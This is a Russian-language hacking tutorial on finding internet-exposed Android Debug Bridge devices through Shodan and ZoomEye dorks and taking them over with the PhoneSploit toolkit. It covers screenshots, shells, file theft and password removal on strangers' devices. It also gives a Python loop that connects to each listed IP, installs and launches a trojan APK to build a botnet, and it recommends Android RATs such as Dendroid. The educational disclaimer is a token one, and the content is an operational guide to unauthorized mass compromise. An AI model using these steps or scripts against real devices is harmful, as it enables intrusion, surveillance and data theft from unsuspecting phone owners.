Пошаговое руководство к поиску и эксплуатации Android-устройств (либо отладочных хостов) использующих Android Debug Bridge.

Дата публикации: 2019-11-18
Автор: @N3M351DA ( @in51d3 ) с использованием информации от @S33Y8u1nH311 для @yolenloop и публикации в @DC7495

Весь материал представлен исключительно в образовательных целях и не является призывом к действию!

Android Debug Bridge (adb) – это утилита командной строки, работающей на хосте отладки (устройство, на котором отлаживается ПО для Android). ADB позволяет обмениваться данными с запущенным эмулятором Android или реальным подключенным (через USB, сеть Wi-Fi) устройством Android (планшет, телефон).

ADB работает по технологии клиент-сервер, и включает в себя 3 компонента:

• Клиент, который работает на хосте отладки.

• Сервер, который запущен как фоновый процесс на хосте разработки.

• Демон (служба), которая запущена как фоновый процесс на каждом экземпляре эмулятора или подключенном Android-устройстве.

Дорки для поиска таких устройств в shodan.io (на 14.11.19 – 11583 хоста):

  • product:”Android Debug Bridge”
  • Android Debug Bridge -country:RU
  • port:”5555″ android

Дорк для поиска в zoomeye.org (на 14.11.19 – 36983 хоста)

  • service:”adb”

Для первичного подключения к хостам будем использовать универсальный тулкит PhoneSploit (https://github.com/n3m351d4/PhoneSploit).

Установка на Windows

git clone https://github.com/Zucccs/PhoneSploit

extract adb.rar to the phonesploit directory

cd PhoneSploit

pip install colorama

python2 main.py

Установка на Linux

git clone https://github.com/Zucccs/PhoneSploit

cd PhoneSploit

pip install colorama

python2 main_linux.py

Функционал PhoneSploit:

  1. Показать подключенные устройства
  2. Отключить все устройства
  3. Подключиться к новому устройству (по IP адресу)
  4. Подключиться к командной строке устройства
  5. Установить приложение на устройство
  6. Сделать запись экрана устройства
  7. Сделать скриншот устройства
  8. Перезапустить сервер
  9. Скачать данные из файловой системы устройства себе на ПК
  10. Выключить устройство
  11. Удалить приложение
  12. Показать лог устройства в реальном времени
  13. Скопировать системную информацию
  14. Получить список всех приложений, установленных на устройстве
  15. Запустить приложение
  16. Проброс портов
  17. Просмотреть файл конфигурации Wi-fi
  18. Посмотреть мак адрес интерфейса wlan0
  19. Извлечь .apk файл приложения
  20. Посмотреть количество заряда батареи
  21. Посмотреть сетевые соединения
  22. Включить/выключить Wi-fi
  23. Удалить пароль на устройстве
  24. Нажать на кнопку (выполнить действие). Например: нажать на кнопку звонка, включить камеру.
  25. Получить информации о текущем открытом приложении на экране.

Ход действий:

  • Если вы запускаете скрипт первый раз и у вас не установлен adb, то вводим n, нажимаем Enter, при последующих запусках будет необходимо нажимать Y.

  • Необходимо найти IP адрес в одном из поисковиков и скормить его скрипту. В последующем, для вызова подключения нового устройства нужно использовать команду 3.

  • Командой 7 делаем скриншот, вводим директорию, куда его будем сохранять, например: ~/Documents. Загружаем скриншот:

Любуемся результатом:

  • Лог устройства в реальном времени (пункт 12)

  • Установленные приложения (пункт 14)

  • Запись видео экрана (пункт 6), работает не всегда точно.

  • Подключение к командной строке (пункт 4), выход из режима производится командой exit.

  • Пункт 20 – заряд устройства.

  • 21 – сетевые соединения устройства.

Думаю, с прочими командами вам придется разобраться самостоятельно. Перейдем к интересному.

Заражение устройства трояном.

Берем скомпилированный файл с разрешением .apk, пишем команду 5.

Приложение загружено и установлено. Далее необходимо его запустить.

Командой 15 запускаем приложение. Необходимо указать его название в формате: com.snapchat.android.

Делаем скриншот – наше приложение Murmur установилось.

Делаем ботнет.

Выгружаем список нужных нам хостов.

Парсим в столбик.

Пишем скрипт на основе PhoneSploit. Нам потребуется три кусочка из него:3, 5, 15 и 2.

ip = raw_input

apk_location = ~/Documents/app-release.apk

os.system(“adb connect “+ip+”:5555″)

os.system(“adb -s “+ip+” install”+apk_location)

os.system(“adb -s “+ip +” shell monkey -p “+ com.snapchat.android +” -v 500″)

os.system(“adb disconnect”)

Загоняем их в цикл перебора адресов из блокнота.

Где взять .apk?

Гуглим:

Если ничего не приглянулось, смотрим сюда: Remote Access Tool Trojan List – Android (https://github.com/n3m351d4/Android-RATList).

Некоторые вещи придется собирать вручную.

Мне нравится по функционалу Dendroid (https://github.com/n3m351d4/DendroidV2)

  • СМС, звонки, лог звонков
  • Открытие веб страниц
  • Загрузка видео и изображений
  • Открытие приложений
  • ДОС
  • Динамическая смена управляющего сервера

Еще неплох Anubis, но его нигде не достать 🙂

Спасибо за внимание.